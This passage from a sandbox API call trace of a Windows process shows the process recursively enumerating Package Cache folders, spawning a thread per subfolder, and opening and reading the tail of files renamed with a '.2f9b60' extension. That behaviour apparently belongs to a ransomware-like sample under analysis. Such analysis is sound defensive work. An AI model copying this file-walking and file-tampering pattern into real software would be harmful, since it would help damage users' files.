Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0136.836] wcscat (in: _Dest=0x1190a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0136.836] wcscat (in: _Dest=0x1190a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" [0136.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63da0 [0136.836] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c0d0 [0136.837] wcscmp (_String1=".", _String2=".") returned 0 [0136.837] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.837] wcscmp (_String1="..", _String2=".") returned 1 [0136.837] wcscmp (_String1="..", _String2="..") returned 0 [0136.837] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0136.837] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0136.837] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0136.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1b798f80 [0136.837] wcscpy (in: _Dest=0x1b798f80, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0136.837] wcscat (in: _Dest=0x1b798f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0136.837] wcscat (in: _Dest=0x1b798f80, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0150.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b798f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da0 [0150.778] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0150.778] FindClose (in: hFindFile=0x1cd9c0d0 | out: hFindFile=0x1cd9c0d0) returned 1 [0150.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63da0) returned 1 [0150.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1190a0) returned 1 [0150.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 Thread: id = 1998 os_tid = 0x1218 [0136.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x1194b0 [0136.847] wcscpy (in: _Dest=0x1194b0, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0136.847] wcscat (in: _Dest=0x1194b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0136.847] wcscat (in: _Dest=0x1194b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*" [0136.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0136.847] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ceb0 [0136.848] wcscmp (_String1=".", _String2=".") returned 0 [0136.848] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.848] wcscmp (_String1="..", _String2=".") returned 1 [0136.848] wcscmp (_String1="..", _String2="..") returned 0 [0136.848] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0136.848] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0136.848] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0136.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b798170 [0136.848] wcscpy (in: _Dest=0x1b798170, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0136.848] wcscat (in: _Dest=0x1b798170, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0136.848] wcscat (in: _Dest=0x1b798170, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0150.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b798170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db8 [0150.781] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0150.781] FindClose (in: hFindFile=0x1cd9ceb0 | out: hFindFile=0x1cd9ceb0) returned 1 [0150.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0150.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1194b0) returned 1 [0150.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278ef0) returned 1 Thread: id = 1999 os_tid = 0x1220 [0136.851] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60")) returned 0x20 [0136.852] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60", dwFileAttributes=0x20) returned 1 [0136.852] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dc0 [0136.853] GetFileSizeEx (in: hFile=0x1dc0, lpFileSize=0x31f1f6a0 | out: lpFileSize=0x31f1f6a0*=914) returned 1 [0136.853] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0x38e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.853] ReadFile (in: hFile=0x1dc0, lpBuffer=0x31f1f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31f1f668, lpOverlapped=0x0 | out: lpBuffer=0x31f1f620*, lpNumberOfBytesRead=0x31f1f668*=0x4, lpOverlapped=0x0) returned 1 [0136.854] FlushFileBuffers (hFile=0x1dc0) returned 1 [0138.539] CloseHandle (hObject=0x1dc0) returned 1 [0138.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60", dwFileAttributes=0x20) returned 1 [0138.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278530) returned 1 Thread: id = 2000 os_tid = 0x1224 [0136.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x118950 [0136.863] wcscpy (in: _Dest=0x118950, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0136.863] wcscat (in: _Dest=0x118950, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0136.863] wcscat (in: _Dest=0x118950, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" [0136.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60f50 [0136.864] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cf10 [0136.864] wcscmp (_String1=".", _String2=".") returned 0 [0136.864] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.864] wcscmp (_String1="..", _String2=".") returned 1 [0136.864] wcscmp (_String1="..", _String2="..") returned 0 [0136.864] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0136.864] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0136.864] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0136.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b798da0 [0136.865] wcscpy (in: _Dest=0x1b798da0, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0136.865] wcscat (in: _Dest=0x1b798da0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0136.865] wcscat (in: _Dest=0x1b798da0, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0150.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b798da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da8 [0150.784] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0150.785] FindClose (in: hFindFile=0x1cd9cf10 | out: hFindFile=0x1cd9cf10) returned 1 [0150.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60f50) returned 1 [0150.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118950) returned 1 [0150.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278470) returned 1 Thread: id = 2001 os_tid = 0x1228 [0136.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x118a20 [0136.867] wcscpy (in: _Dest=0x118a20, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0136.867] wcscat (in: _Dest=0x118a20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\" [0136.867] wcscat (in: _Dest=0x118a20, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*" [0136.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63b30 [0136.867] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c3d0 [0136.867] wcscmp (_String1=".", _String2=".") returned 0 [0136.867] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.867] wcscmp (_String1="..", _String2=".") returned 1 [0136.867] wcscmp (_String1="..", _String2="..") returned 0 [0136.868] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0136.868] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0136.868] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0136.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78e280 [0136.868] wcscpy (in: _Dest=0x1b78e280, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0136.868] wcscat (in: _Dest=0x1b78e280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\" [0136.868] wcscat (in: _Dest=0x1b78e280, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" [0150.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b78e280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dbc [0150.788] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0150.788] FindClose (in: hFindFile=0x1cd9c3d0 | out: hFindFile=0x1cd9c3d0) returned 1 [0150.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63b30) returned 1 [0150.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118a20) returned 1 [0150.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118f00) returned 1 Thread: id = 2002 os_tid = 0x122c [0136.870] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60")) returned 0x20 [0136.870] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60", dwFileAttributes=0x20) returned 1 [0136.871] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dcc [0136.871] GetFileSizeEx (in: hFile=0x1dcc, lpFileSize=0x31fef980 | out: lpFileSize=0x31fef980*=1026) returned 1 [0136.871] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x3fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.871] ReadFile (in: hFile=0x1dcc, lpBuffer=0x31fef900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31fef948, lpOverlapped=0x0 | out: lpBuffer=0x31fef900*, lpNumberOfBytesRead=0x31fef948*=0x4, lpOverlapped=0x0) returned 1 [0136.872] FlushFileBuffers (hFile=0x1dcc) returned 1 [0138.539] CloseHandle (hObject=0x1dcc) returned 1 [0138.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60", dwFileAttributes=0x20) returned 1 [0138.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202782f0) returned 1 Thread: id = 2003 os_tid = 0x1230 [0136.875] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60" 